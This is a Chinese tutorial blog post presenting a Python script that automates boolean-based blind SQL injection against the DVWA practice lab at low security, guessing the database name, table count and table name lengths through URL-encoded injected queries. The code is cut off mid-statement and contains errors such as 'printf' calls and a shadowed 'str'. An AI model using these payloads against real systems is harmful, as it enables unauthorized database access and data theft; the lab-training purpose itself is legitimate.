基于DVWA靶场的盲注脚本

本文详细介绍了如何基于DVWA靶场进行布尔盲注和时间盲注的自动注入,主要针对low级别,通过猜解数据库名、表信息和字段数据来实现。在布尔盲注中,利用回显判断;而在时间盲注中,则观察页面加载时间变化来确认成功。整个过程包括数据库长度、表数量、字段名和数据的逐层猜解。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基于DVWA的自动盲注脚本

本文针对的是dvwa盲注部分的low级别的自动注入,关于概念等就不做介绍了。相比较有回显的注入,盲注这种注入方式要多次猜解,比如数据库名,需要猜解出其长度,再依据长度多次循环猜解出每个字母,最后得到数据库名。

布尔盲注

dvwa盲注猜解正确会回显"User ID…",以此作为判断是否注入成功,headers为自己构造的头部信息。

def judge_sql_inject(sql, url, headers):  # 返回判断,盲注
    str = f'?id={
     sql}&Submit=Submit#'
    printf("正在猜解:" + url + str)
    recv = requests.get(url + str, headers=headers).text
    try:
        if 'exists' in re.search('User ID.*?database', recv).group():
            return 1
        else:
            return 0
    except:
        return 0

猜解数据库名的过程,先猜解数据库的长度

databaselen = 0
for i in range(100):  # 猜解数据库长度
    printf("正在猜解数据库名长度...")
    sql = f"1'+and+length(database())%3D{
     i}%23"
    if judge_sql_inject(sql,url,headers) == 1:
        databaselen = i;
        break

for i in range(databaselen):  # 拆解数据库名
     for j in dic: # dic = 'abcdefghijklmnopqrstuvwxyz1234567890' 用于索引
         sql = f"1'+and+substr(database()%2C{
     i + 1}%2C1)%3D'{
     j}'%23" # 用substr来猜解每个位置的字符
         if judge_sql_inject(sql,url,headers) == 1:
             databasename += j
             break

下一步就是猜解数据库的表信息,首先猜解其有几张表,由于未知数量只能设置尽可能大一些的循环次数,以增加猜解的成功率,之后的循环也是基于这一方面的考虑。

table_num = 0
for i in range(99):  # 猜解数据库有几张表
    sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{
     databasename}')%3D{
     i}%23"
    # sql = f"1' and (select count(table_name) from information_schema.tables where table_schema='{databasename}')={i}#"
    if judge_sql_inject(sql,url,headers) == 1:
        table_num = i;
        break
printf("数据库" + databasename + "共有" + str(table_num) + "张表")
# 猜解所有表名长度
table_len = []
for i in range(table_num):
    for j in range(99):
        sql = f"1'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值